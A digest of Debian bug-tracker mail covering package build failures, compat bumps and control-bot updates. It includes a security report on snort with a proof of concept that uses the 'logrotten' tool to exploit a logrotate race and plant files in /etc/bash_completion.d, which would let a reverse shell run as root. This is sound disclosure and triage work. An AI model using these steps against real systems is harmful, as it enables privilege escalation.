Bug#965911: marked as done (yasat: Removal of obsolete debhelper compat 5 and 6 in bookworm)
Your message dated Wed, 27 Apr 2022 23:35:38 + with message-id and subject line Bug#965911: fixed in yasat 848-1.2 has caused the Debian Bug report #965911, regarding yasat: Removal of obsolete debhelper compat 5 and 6 in bookworm to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 965911: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965911 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: yasat Version: 848-1 Severity: normal Usertags: compat-5-6-removal Hi, The package yasat uses debhelper with a compat level of 5 or 6, which is deprecated and scheduled for removal[1]. Please bump the debhelper compat at your earliest convenience /outside the freeze/! * Compat 13 is recommended (supported in stable-backports) * Compat 7 is the bare minimum PLEASE KEEP IN MIND THAT the release team *DOES NOT* accept uploads with compat bumps during the freeze. If there is any risk that the fix for this bug might not migrate to testing before 2021-01-01[3] then please postpone the fix until after the freeze. At the time of filing this bug, compat 5 and 6 are expected to be removed "some time during the development cycle of bookworm". Thanks, ~Niels [1] https://lists.debian.org/debian-devel/2020/07/msg00065.html [2] https://release.debian.org/bullseye/FAQ.html [3] The choice of 2021-01-01 as a "deadline" is set before the actual freeze deadline to provide a safe cut off point for most people. Mind you, it is still your responsibility to ensure that the upload makes it into testing even if you upload before that date. --- End Message --- --- Begin Message --- Source: yasat Source-Version: 848-1.2 Done: Joao Eriberto Mota Filho We believe that the bug you reported is fixed in the latest version of yasat, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 965...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Joao Eriberto Mota Filho (supplier of updated yasat package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Fri, 22 Apr 2022 19:36:32 -0300 Source: yasat Architecture: source Version: 848-1.2 Distribution: unstable Urgency: medium Maintainer: Corentin LABBE Changed-By: Joao Eriberto Mota Filho Closes: 965911 Changes: yasat (848-1.2) unstable; urgency=medium . * Non-maintainer upload. * Using new DH level format. Consequently: - debian/compat: removed. - debian/control: changed from 'debhelper' to 'debhelper-compat' in Build-Depends field and bumped level to 13. - Closes: #965911 * debian/clean: created to remove some files created from the build process and forgotten after this. This action will allow package to build twice. Checksums-Sha1: 41c0d525a72af68a6e3ab9359f934b7a74f4099d 1685 yasat_848-1.2.dsc a4b7764666b907973cc34b8d1a2c312cebb96699 2308 yasat_848-1.2.debian.tar.xz e9ce25c8b872a08be5c48d7413ccd1d25d8e5672 5649 yasat_848-1.2_source.buildinfo Checksums-Sha256: 291b295d9aed61365657d87a1152955fbba1522c030cbd126b5fe892a75bf52f 1685 yasat_848-1.2.dsc 7bd4564784b1996eb6cd9618aea07059364741b02f2143d4474c9f6b4438fb00 2308 yasat_848-1.2.debian.tar.xz f2eaad43e1b242d50d49ca4dd104bd42014e4ea0f860bc46e70f7b3fd26a85f7 5649 yasat_848-1.2_source.buildinfo Files: 8de4bbdc0d0f9f7aafddd74ea472e45d 1685 utils optional yasat_848-1.2.dsc 09a738bc382ec8517220781f4656c605 2308 utils optional yasat_848-1.2.debian.tar.xz fe04097eb6406aff161097e228b2536a 5649 utils optional yasat_848-1.2_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEENX3LDuyVoBrrofDS3mO5xwTr6e8FAmJjM2UACgkQ3mO5xwTr 6e83vw//Y8WY1rA3zQH+Mjjye58wrilgl1XOHiS071fyuSu9821shsXrj1giCSVG mE5yvlk6pAwDJHg3WFw3QgC5tw/pSiWleHOqSqQQudcIpc3rTNnhYvDj/vW+F+gq eVMcDvrCq4pg9MzpobGjHGcVdmENw/xou0dmh0UXrRa6tdQ6EKq8R8uneVla1p2T P+PbVF+Uaq7kqw7Cd5b7V3L6sbBXd4HT57pIN7HcvWuxldQDZps2QI3P9P5qQi+5 eJX8E+TC43HHJMkqFFWEruuhjnEAQSx7SiZARqEIsu+BNi5h9nExh2m/poWIRpS8 cpbnqSO84/LebD0xAj2nLW1T/JoeE1lZfdrwYeCvjKb375lH6cSpwem1QBnJcXbC 8EidGeTO3T56RwZLtPFMpRNkG/8dOBj9aJhfPP4+QGx17L9KQOpqT7dcv2aalFFx CvJ7kMXV2fsLyP2aMOzRgPub/SZe8pn87yB8WGvQoClezRUfC0cwC+DHcSUUcdcz H1c6GdjnmcltstL67vbs+KCaiKD3
Bug#1010289: audit: FTBFS: error: cast specifies array type
Source: audit Version: 1:3.0.7-1 Severity: serious >From my build log: ... Making all in python3 make[6]: Entering directory '/home/tmpbuilder/cross-i386/audit/audit-3.0.7/debian/build/bindings/swig/python3' swig -o audit_wrap.c -python -py3 -modern -I. -I../../.. -I../../../../../lib -I/usr/include/python3.10 -I/usr/include/python3.10 ../../../../../bindings/swig/python3/../src/auditswig.i Deprecated command line option: -modern. This option is now always on. /bin/bash ../../../libtool --tag=CC --mode=compile gcc -DHAVE_CONFIG_H -I. -I../../../../../bindings/swig/python3 -I../../.. -I. -I../../.. -I../../../../../lib -I/usr/include/python3.10 -I/usr/include/python3.10 -Wdate-time -D_FORT IFY_SOURCE=2 -shared -g -O2 -ffile-prefix-map=/home/tmpbuilder/cross-i386/audit/audit-3.0.7=. -fstack-protector-strong -Wformat -Werror=format-security -c -o _audit_la-audit_wrap.lo `test -f 'audit_wrap.c' || echo '../../../../../bindin gs/swig/python3/'`audit_wrap.c libtool: compile: gcc -DHAVE_CONFIG_H -I. -I../../../../../bindings/swig/python3 -I../../.. -I. -I../../.. -I../../../../../lib -I/usr/include/python3.10 -I/usr/include/python3.10 -Wdate-time -D_FORTIFY_SOURCE=2 -g -O2 -ffile-prefix-ma p=/home/tmpbuilder/cross-i386/audit/audit-3.0.7=. -fstack-protector-strong -Wformat -Werror=format-security -c audit_wrap.c -fPIC -DPIC -o .libs/_audit_la-audit_wrap.o audit_wrap.c: In function '_wrap_audit_rule_data_buf_set': audit_wrap.c:4701:17: error: cast specifies array type 4701 | arg1->buf = (char [])(char *)memcpy(malloc((size)*sizeof(char)), (const char *)(arg2), sizeof(char)*(size)); | ^ audit_wrap.c:4701:15: error: invalid use of flexible array member 4701 | arg1->buf = (char [])(char *)memcpy(malloc((size)*sizeof(char)), (const char *)(arg2), sizeof(char)*(size)); | ^ audit_wrap.c:4703:15: error: invalid use of flexible array member 4703 | arg1->buf = 0; | ^ make[6]: *** [Makefile:518: _audit_la-audit_wrap.lo] Error 1 make[6]: Leaving directory '/home/tmpbuilder/cross-i386/audit/audit-3.0.7/debian/build/bindings/swig/python3' make[5]: *** [Makefile:417: all-recursive] Error 1 make[5]: Leaving directory '/home/tmpbuilder/cross-i386/audit/audit-3.0.7/debian/build/bindings/swig' make[4]: *** [Makefile:414: all-recursive] Error 1 make[4]: Leaving directory '/home/tmpbuilder/cross-i386/audit/audit-3.0.7/debian/build/bindings' make[3]: *** [Makefile:471: all-recursive] Error 1 make[3]: Leaving directory '/home/tmpbuilder/cross-i386/audit/audit-3.0.7/debian/build' make[2]: *** [Makefile:403: all] Error 2 make[2]: Leaving directory '/home/tmpbuilder/cross-i386/audit/audit-3.0.7/debian/build' dh_auto_build: error: cd debian/build && make -j8 returned exit code 2 make[1]: *** [debian/rules:64: debian/build-python-stamp] Error 2 make[1]: Leaving directory '/home/tmpbuilder/cross-i386/audit/audit-3.0.7' make: *** [debian/rules:34: build-arch] Error 2 dpkg-buildpackage: error: debian/rules build-arch subprocess returned exit status 2 Looking at the situation a bit, it seems that a recent update to /usr/include/linux/audit.h made a change such that struct audit_rule_data is no longer swig friendly. -- Daniel Schepler
Bug#1010287: libnet-ssleay-perl: FTBFS: bad line in substvars file debian/libnet-ssleay-perl.substvars at line 2
Source: libnet-ssleay-perl Version: 1.92-1 Severity: serious >From my build log: ... dh_installdocs -a dh_installchangelogs -a dh_installexamples -a dh_installman -a dh_perl -a dh_perl_openssl -a dh_link -a dh_strip_nondeterminism -a dh_compress -a dh_fixperms -a dh_missing -a dh_dwz -a dh_strip -a dh_makeshlibs -a dh_shlibdeps -a dpkg-shlibdeps: error: bad line in substvars file debian/libnet-ssleay-perl.substvars at line 2 dh_shlibdeps: error: dpkg-shlibdeps -Tdebian/libnet-ssleay-perl.substvars debian/libnet-ssleay-perl/usr/lib/x86_64-linux-gnu/perl5/5.34/auto/Net/SSLeay/SSLeay.so returned exit code 255 dh_shlibdeps: error: Aborting due to earlier error make: *** [debian/rules:6: binary-arch] Error 2 dpkg-buildpackage: error: debian/rules binary-arch subprocess returned exit status 2 Looking at the file it's complaining about, debian/libnet-ssleay-perl.substvars contains: perl:Depends=perl, perl-openssl-abi-1.1 , perlapi-5.34.0 (My best guess would be that this is a bug in perl-openssl-defaults / dh_perl_openssl, but it's just a guess...) -- Daniel Schepler
Bug#1010283: Duplicate
I somehow overlooked, that my bug sems to be duplicate of https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010240 Sorry for that. KJ -- http://wolnelektury.pl/wesprzyj/teraz/
Processed: tagging 1006943
Processing commands for cont...@bugs.debian.org: > tags 1006943 + ftbfs Bug #1006943 [src:eigen3] eigen3: freecad FTBFS on ppc64el Added tag(s) ftbfs. > thanks Stopping processing here. Please contact me if you need assistance. -- 1006943: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1006943 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: affects 1006943
Processing commands for cont...@bugs.debian.org: > affects 1006943 src:freecad Bug #1006943 [src:eigen3] eigen3: freecad FTBFS on ppc64el Added indication that 1006943 affects src:freecad > thanks Stopping processing here. Please contact me if you need assistance. -- 1006943: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1006943 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: severity of 1006943 is serious
Processing commands for cont...@bugs.debian.org: > severity 1006943 serious Bug #1006943 [src:eigen3] eigen3: freecad FTBFS on ppc64el Severity set to 'serious' from 'normal' > thanks Stopping processing here. Please contact me if you need assistance. -- 1006943: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1006943 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1010283: broadcom-sta-dkms: Modules does not compile under kernel 5.17
Package: broadcom-sta-dkms Version: 6.30.223.271-17 Severity: grave Justification: renders package unusable Dear Maintainer, *** Reporter, please consider answering these questions, where appropriate *** * What led up to the situation? Installing linux-image-5.17.0-1-amd64 * What exactly did you do (or not do) that was effective (or ineffective)? Try to install packege above * What was the outcome of this action? Compilation error, file attached. * What outcome did you expect instead? Working driver -- System Information: Debian Release: bookworm/sid APT prefers oldoldstable APT policy: (500, 'oldoldstable'), (500, 'unstable'), (500, 'oldstable') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 5.16.0-6-amd64 (SMP w/4 CPU threads; PREEMPT) Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE Locale: LANG=pl_PL.UTF-8, LC_CTYPE=pl_PL.UTF-8 (charmap=UTF-8), LANGUAGE=en_GB:en Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages broadcom-sta-dkms depends on: ii dkms 3.0.3-1 Versions of packages broadcom-sta-dkms recommends: ii wireless-tools 30~pre9-13.1 broadcom-sta-dkms suggests no packages. -- debconf-show failed DKMS make.log for broadcom-sta-6.30.223.271 for kernel 5.17.0-1-amd64 (x86_64) Wed 27 Apr 20:32:11 CEST 2022 CFG80211 API is prefered for this kernel version Makefile:89: Neither CFG80211 nor Wireless Extension is enabled in kernel KBUILD_NOPEDANTIC=1 make -C /lib/modules/5.17.0-1-amd64/build M=`pwd` make[1]: warning: jobserver unavailable: using -j1. Add '+' to parent make rule. make[1]: Entering directory '/usr/src/linux-headers-5.17.0-1-amd64' warning: the compiler differs from the one used to build the kernel The kernel was built by: gcc-11 (Debian 11.2.0-20) 11.2.0 You are using: gcc-11 (Debian 11.3.0-1) 11.3.0 CFG80211 API is prefered for this kernel version Using CFG80211 API Kernel architecture is X86_64 CC [M] /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/shared/linux_osl.o CC [M] /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/wl/sys/wl_linux.o In file included from /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/wl/sys/wl_linux.c:81: /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/wl/sys/wl_iw.h:73: warning: "isprint" redefined 73 | #define isprint(c) bcm_isprint(c) | In file included from /usr/src/linux-headers-5.17.0-1-common/include/linux/string_helpers.h:6, from /usr/src/linux-headers-5.17.0-1-common/include/linux/seq_file.h:7, from /usr/src/linux-headers-5.17.0-1-common/include/linux/seq_file_net.h:5, from /usr/src/linux-headers-5.17.0-1-common/include/net/net_namespace.h:183, from /usr/src/linux-headers-5.17.0-1-common/include/linux/netdevice.h:37, from /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/include/linuxver.h:69, from /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/wl/sys/wl_linux.c:27: /usr/src/linux-headers-5.17.0-1-common/include/linux/ctype.h:30: note: this is the location of the previous definition 30 | #define isprint(c) ((__ismask(c)&(_P|_U|_L|_D|_SP)) != 0) | In file included from /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/include/osl.h:79, from /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/wl/sys/wl_linux.c:28: /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/wl/sys/wl_linux.c: In function ‘wl_attach’: /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/wl/sys/wl_linux.c:650:43: warning: passing argument 1 of ‘memcpy’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers] 650 | bcopy(&wl->pub->cur_etheraddr, dev->dev_addr, ETHER_ADDR_LEN); /var/lib/dkms/broadcom-sta/6.30.223.271/build/src/include/linux_osl.h:156:49: note: in definition of macro ‘bcopy’ 156 | #define bcopy(src, dst, len)memcpy((dst), (src), (len)) | ^~~ In file included from /usr/src/linux-headers-5.17.0-1-common/include/linux/string.h:253, from /usr/src/linux-headers-5.17.0-1-common/include/linux/bitmap.h:11, from /usr/src/linux-headers-5.17.0-1-common/include/linux/cpumask.h:12, from /usr/src/linux-headers-5.17.0-1-common/arch/x86/include/asm/cpumask.h:5, from /usr/src/linux-headers-5.17.0-1-common/arch/x86/include/asm/msr.h:11, from /usr/src/linux-headers-5.17.0-1-common/arch/x86/include/asm/processor.h:22, from /usr/src/linux-headers-5.17.0-1-common/arch/x86/include/asm/timex.h:5, from /usr/src/linux-headers-5.17.0-1-common/include/linux/timex.h:65, from /usr/src/linux-headers-5.17.0-1-common/include/linux/time32.h:13, from /usr/src/linux-headers-5.17.0-1-common/include/linux/ti
Bug#1010281: ldc: FTBFS on armhf and i386
Source: ldc Version: 1:1.29.0-1 Severity: serious Tags: ftbfs Justification: fails to build from source (but built successfully in the past) X-Debbugs-Cc: sramac...@debian.org ldc FTBFS on armhf and i386: [ 80%] Generating objects-shared/core/atomic.o, objects-shared/core/attribute.o, objects-shared/core/bitop.o, objects-shared/core/builtins.o, objects-shared/core/checkedint.o, objects-shared/core/cpuid.o, objects-shared/core/demangle.o, objects-shared/core/exception.o, objects-shared/core/gc/config.o, objects-shared/core/gc/gcinterface.o, objects-shared/core/gc/registry.o, objects-shared/core/int128.o, objects-shared/core/internal/abort.o, objects-shared/core/internal/array/appending.o, objects-shared/core/internal/array/capacity.o, objects-shared/core/internal/array/casting.o, objects-shared/core/internal/array/comparison.o, objects-shared/core/internal/array/concatenation.o, objects-shared/core/internal/array/construction.o, objects-shared/core/internal/array/equality.o, objects-shared/core/internal/array/operations.o, objects-shared/core/internal/array/utils.o, objects-shared/core/internal/atomic.o, objects-shared/core/internal/attributes.o, objects-shared/core/internal/backtrace/dwarf.o, objects-shared/core/internal/backtrace/elf.o, objects-shared/core/internal/backtrace/handler.o, objects-shared/core/internal/backtrace/libunwind.o, objects-shared/core/internal/backtrace/macho.o, objects-shared/core/internal/backtrace/unwind.o, objects-shared/core/internal/container/array.o, objects-shared/core/internal/container/common.o, objects-shared/core/internal/container/hashtab.o, objects-shared/core/internal/container/treap.o, objects-shared/core/internal/convert.o, objects-shared/core/internal/dassert.o, objects-shared/core/internal/destruction.o, objects-shared/core/internal/elf/dl.o, objects-shared/core/internal/elf/io.o, objects-shared/core/internal/entrypoint.o, objects-shared/core/internal/execinfo.o, objects-shared/core/internal/gc/bits.o, objects-shared/core/internal/gc/impl/conservative/gc.o, objects-shared/core/internal/gc/impl/manual/gc.o, objects-shared/core/internal/gc/impl/proto/gc.o, objects-shared/core/internal/gc/os.o, objects-shared/core/internal/gc/pooltable.o, objects-shared/core/internal/gc/proxy.o, objects-shared/core/internal/hash.o, objects-shared/core/internal/lifetime.o, objects-shared/core/internal/moving.o, objects-shared/core/internal/parseoptions.o, objects-shared/core/internal/postblit.o, objects-shared/core/internal/qsort.o, objects-shared/core/internal/spinlock.o, objects-shared/core/internal/string.o, objects-shared/core/internal/switch_.o, objects-shared/core/internal/traits.o, objects-shared/core/internal/utf.o, objects-shared/core/internal/util/array.o, objects-shared/core/internal/util/math.o, objects-shared/core/internal/vararg/aarch64.o, objects-shared/core/internal/vararg/sysv_x64.o, objects-shared/core/lifetime.o, objects-shared/core/math.o, objects-shared/core/memory.o, objects-shared/core/runtime.o, objects-shared/core/simd.o, objects-shared/core/stdc/assert_.o, objects-shared/core/stdc/complex.o, objects-shared/core/stdc/config.o, objects-shared/core/stdc/ctype.o, objects-shared/core/stdc/errno.o, objects-shared/core/stdc/fenv.o, objects-shared/core/stdc/float_.o, objects-shared/core/stdc/inttypes.o, objects-shared/core/stdc/limits.o, objects-shared/core/stdc/locale.o, objects-shared/core/stdc/math.o, objects-shared/core/stdc/signal.o, objects-shared/core/stdc/stdarg.o, objects-shared/core/stdc/stddef.o, objects-shared/core/stdc/stdint.o, objects-shared/core/stdc/stdio.o, objects-shared/core/stdc/stdlib.o, objects-shared/core/stdc/string.o, objects-shared/core/stdc/tgmath.o, objects-shared/core/stdc/time.o, objects-shared/core/stdc/wchar_.o, objects-shared/core/stdc/wctype.o, objects-shared/core/stdcpp/allocator.o, objects-shared/core/stdcpp/array.o, objects-shared/core/stdcpp/exception.o, objects-shared/core/stdcpp/memory.o, objects-shared/core/stdcpp/new_.o, objects-shared/core/stdcpp/string.o, objects-shared/core/stdcpp/string_view.o, objects-shared/core/stdcpp/type_traits.o, objects-shared/core/stdcpp/typeinfo.o, objects-shared/core/stdcpp/utility.o, objects-shared/core/stdcpp/vector.o, objects-shared/core/stdcpp/xutility.o, objects-shared/core/sync/barrier.o, objects-shared/core/sync/condition.o, objects-shared/core/sync/config.o, objects-shared/core/sync/event.o, objects-shared/core/sync/exception.o, objects-shared/core/sync/mutex.o, objects-shared/core/sync/rwmutex.o, objects-shared/core/sync/semaphore.o, objects-shared/core/thread/context.o, objects-shared/core/thread/fiber.o, objects-shared/core/thread/osthread.o, objects-shared/core/thread/package.o, objects-shared/core/thread/threadbase.o, objects-shared/core/thread/threadgroup.o, objects-shared/core/thread/types.o, objects-shared/core/time.o, objects-shared/core/vararg.o, objects-shared/core/volatile.o, objects-shared/ldc/as
Processed: tagging 1009037
Processing commands for cont...@bugs.debian.org: > tags 1009037 + fixed-upstream Bug #1009037 [python3-pivy] python3-pivy: breaking change in python 3.10 reqires upgrade/patch Added tag(s) fixed-upstream. > thanks Stopping processing here. Please contact me if you need assistance. -- 1009037: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009037 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: bug 1009037 is forwarded to https://github.com/coin3d/pivy/issues/88
Processing commands for cont...@bugs.debian.org: > forwarded 1009037 https://github.com/coin3d/pivy/issues/88 Bug #1009037 [python3-pivy] python3-pivy: breaking change in python 3.10 reqires upgrade/patch Set Bug forwarded-to-address to 'https://github.com/coin3d/pivy/issues/88'. > thanks Stopping processing here. Please contact me if you need assistance. -- 1009037: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009037 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009820: snort: Privilege escalation due to insecure use of logrotate
severity 1009820 normal
tags 1009820 - upstream
thanks
Dear Wolfgang,
The 'snort' user is not a regular user (but a user created by the package
itself, which is blocked from access as it has no password set).
Consequently the privilege escalation you describe cannot be leveraged by a
normal user. The only user in a standard installation of this package that
can become 'snort' is actually the root user itself or if there is a remote
code execution in the Snort software which compromises the Snort process
itself.
The fix proposed (make the files managed by root) is not invalid:
- if /var/log/snort is owned by root then the Snort process (running as
Snort user) will not be able to create the log files
- the Snort process is running as 'snort' user and should not be modified
to be run as 'root'
The reason for this setup is precisely to improve the security of the
software as distributed in Debian and applying a principle of minimum
privilege, it is not an option to have this software running as root as a
vulnerability found in the software (which is reading packages from the
network, input which is by definition, untrusted) could potentially lead to
a compromise of the system it is running in
Consequently I'm adjusting the bug:
- To normal (to be reviewed) as this is not, in my view, a critical bug
- To Debian-specific, as the configuration of logrotate and the setup
(Snort is running as 'snort' user) is specific to the package and not
defined by upstream
The most likely fix for this bug in any case is to adjust the definitions
in the logrotate file, which uses "/var/log/snort/*/alert" and "/var/log/
snort/*/*log". These definitions are too broad and could be simplified.
Best regards,
Javier Fernandez-Sanguino
On Mon, 18 Apr 2022 at 19:27, Wolfgang Hotwagner
wrote:
> Package: snort
> Version: 2.9.15.1-5
> Severity: critical
> Tags: security upstream
> Justification: root security hole
> X-Debbugs-Cc: sec-advis...@ait.ac.at
>
> Dear Maintainer,
>
> The path of the logdirectory of snort can be manipulated by user
>
> Snort in Debian Bullseye:
>
> # ls -ld /var/log/snort/
> drwxr-s--- 3 snort adm 4096 Apr 14 08:44 /var/log/snort/
>
>
> The files in /var/log/snort/*/*log are once a day rotated by
>
> logrotate as user root with the following config:
>
> /var/log/snort/snort.alert /var/log/snort/snort.alert.fast
> /var/log/snort/*log /var/log/snort/*/alert /var/log/snort/*/*log {
> daily
> rotate 7
> compress
> missingok
> notifempty
> create 0640 snort adm
> sharedscripts
> postrotate
> if [ -x /usr/sbin/invoke-rc.d ]; then \
> invoke-rc.d snort restart > /dev/null; \
> else \
> /etc/init.d/snort restart > /dev/null; \
> fi;
> endscript
> }
>
> Due to logrotate is prone to a race-condition(see the link to my blog
> below) it is possible for user "snort" to replace or create any directory
> in /var/log/snort/ with a symbolik link to any
>
> directory(for example /etc/bash_completion.d). logrotate will place files
> AS ROOT into /etc/bash_completition.d and set the owner and group to
> "snort.adm". An attacker could simply place a reverse-shell into this file.
> As soon as root logs in, a reverse shell will be executed then.
>
> You can find an exploit for this bug at my blog:
> https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
> and
> https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
>
> Proof of Concept:
> #
>
> snort@b8ff2e70f94d:~$ cd /tm
>
> snort@b8ff2e70f94d:/tmp$ git clone
> https://github.com/whotwagner/logrotten.git
> Cloning into 'logrotten'...
> remote: Enumerating objects: 97, done.
> remote: Counting objects: 100% (10/10), done.
> remote: Compressing objects: 100% (8/8), done.
> remote: Total 97 (delta 4), reused 7 (delta 2), pack-reused 87
> Receiving objects: 100% (97/97), 419.77 KiB | 691.00 KiB/s, done.
> Resolving deltas: 100% (41/41), done.
> snort@b8ff2e70f94d:/tmp$ cd logrotten/
> snort@b8ff2e70f94d:/tmp/logrotten$ gcc -o logrotten logrotten.c
>
> snort@b8ff2e70f94d:/tmp/logrotten$ echo "hello world" > payload
> snort@b8ff2e70f94d:/tmp/logrotten$ mkdir /var/log/snort/pwn
> snort@b8ff2e70f94d:/tmp/logrotten$ vim /var/log/snort/pwn/pwnme.lo
>
> snort@b8ff2e70f94d:/tmp/logrotten$ ./logrotten -p payload -c
> /var/log/snort/pwn/pwnme.log
> Waiting for rotating /var/log/snort/pwn/pwnme.log...
> Renamed /var/log/snort/pwn with /var/log/snort/pwn2 and created symlink to
> /etc/bash_completion.d
> Waiting 1 seconds before writing payload...
> Done!
> snort@b8ff2e70f94d:/tmp/logrotten$ ls -l /etc/bash_completion.d/
> total 8
> -rw-r--r-- 1 root root 439 Mar 10 2021 git-prompt
> -r-xr-xr-x 1 snort adm 19 Apr 14 08:43 pwnme.log
>
>
> Mitigation:
> ###
>
> You could mitigate the problem by changing the owner and group of
> /var/log/snort to root, or by using the "su option" in
> /etc/logrotate.d/snort.
>
> Note: I
Processed: Re: Bug#1009820: snort: Privilege escalation due to insecure use of logrotate
Processing commands for cont...@bugs.debian.org: > severity 1009820 normal Bug #1009820 [snort] snort: Privilege escalation due to insecure use of logrotate Severity set to 'normal' from 'critical' > tags 1009820 - upstream Bug #1009820 [snort] snort: Privilege escalation due to insecure use of logrotate Removed tag(s) upstream. > thanks Stopping processing here. Please contact me if you need assistance. -- 1009820: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009820 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1010276: parasail: compiles something extra (or less) depending on the CPU features available
Source: parasail Version: 2.5+dfsg-3 Severity: serious User: reproducible-bui...@lists.alioth.debian.org Usertags: cpu Hi! While working on the “reproducible builds” effort [1], we have noticed that your package "parasail" doesn't build reproducibly. In fact, it seems that depending on the type of CPU it builds on, sometimes there are slightly different files. For example, on an i386 system: - usr/lib/i386-linux-gnu/libparasail_novec_table.a - usr/lib/i386-linux-gnu/libparasail_sse41_rowcol.a - usr/lib/i386-linux-gnu/libparasail_avx2_table.a or in an amrhf system: - usr/lib/arm-linux-gnueabihf/libparasail_novec.a - usr/lib/arm-linux-gnueabihf/libparasail_novec_rowcol.a sometimes are there or not. I'll have to remember you that building differently depending on the CPU features of the build host is not allowed by Policy. Furthermore, I notice that amongst the i386 build, there are files such as - usr/lib/i386-linux-gnu/libparasail_sse2.a - usr/lib/i386-linux-gnu/libparasail_sse41.a that makes me wonder if the program is unconditially using SSE instructions on i386, that would be a baseline violation; but since I haven't verified if those features are used unconditially I'm not filing this report about this, however please do check. [1]: https://wiki.debian.org/ReproducibleBuilds -- regards, Mattia Rizzolo GPG Key: 66AE 2B4A FCCF 3F52 DA18 4D18 4B04 3FCD B944 4540 .''`. More about me: https://mapreri.org : :' : Launchpad user: https://launchpad.net/~mapreri `. `'` Debian QA page: https://qa.debian.org/developer.php?login=mattia `- signature.asc Description: PGP signature
Processed: your mail
Processing commands for cont...@bugs.debian.org:
> reassign 1003755 libmailutils8,libmailutils9
Bug #1003755 {Done: Jordi Mallach } [libmailutils8]
libmailutils8: 1:3.14-1 breaks ABI vs 1:3.13-1, doesn't bump abiver
Bug reassigned from package 'libmailutils8' to 'libmailutils8,libmailutils9'.
No longer marked as found in versions mailutils/1:3.14-1.
No longer marked as fixed in versions mailutils/1:3.15-1.
> found 1003755 libmailutils8/1:3.14-1
Bug #1003755 {Done: Jordi Mallach }
[libmailutils8,libmailutils9] libmailutils8: 1:3.14-1 breaks ABI vs 1:3.13-1,
doesn't bump abiver
The source libmailutils8 and version 1:3.14-1 do not appear to match any binary
packages
Marked as found in versions libmailutils8/1:3.14-1 and reopened.
> fixed 1003755 libmailutils9/1:3.15-1
Bug #1003755 [libmailutils8,libmailutils9] libmailutils8: 1:3.14-1 breaks ABI
vs 1:3.13-1, doesn't bump abiver
The source libmailutils9 and version 1:3.15-1 do not appear to match any binary
packages
Marked as fixed in versions libmailutils9/1:3.15-1.
> close 1003755
Bug #1003755 [libmailutils8,libmailutils9] libmailutils8: 1:3.14-1 breaks ABI
vs 1:3.13-1, doesn't bump abiver
Marked Bug as done
> --
Stopping processing here.
Please contact me if you need assistance.
--
1003755: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1003755
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Processed: severity of 1008022 is grave
Processing commands for cont...@bugs.debian.org: > severity 1008022 grave Bug #1008022 [keepass2] keepass2: CVE-2022-0725 information disclosure Severity set to 'grave' from 'important' > thanks Stopping processing here. Please contact me if you need assistance. -- 1008022: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1008022 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: severity of 1009037 is serious
Processing commands for cont...@bugs.debian.org: > severity 1009037 serious Bug #1009037 [python3-pivy] python3-pivy: breaking change in python 3.10 reqires upgrade/patch Severity set to 'serious' from 'important' > thanks Stopping processing here. Please contact me if you need assistance. -- 1009037: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009037 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: your mail
Processing commands for cont...@bugs.debian.org: > severity 1008687 important Bug #1008687 [src:appstream] FTBFS: as-test_pool FAIL killed by signal 6 SIGABRT Severity set to 'important' from 'serious' > End of message, stopping processing here. Please contact me if you need assistance. -- 1008687: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1008687 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: tagging 981713
Processing commands for cont...@bugs.debian.org: > tags 981713 + ftbfs Bug #981713 [src:graftcp] graftcp: Not ready for stable release Added tag(s) ftbfs. > thanks Stopping processing here. Please contact me if you need assistance. -- 981713: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=981713 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
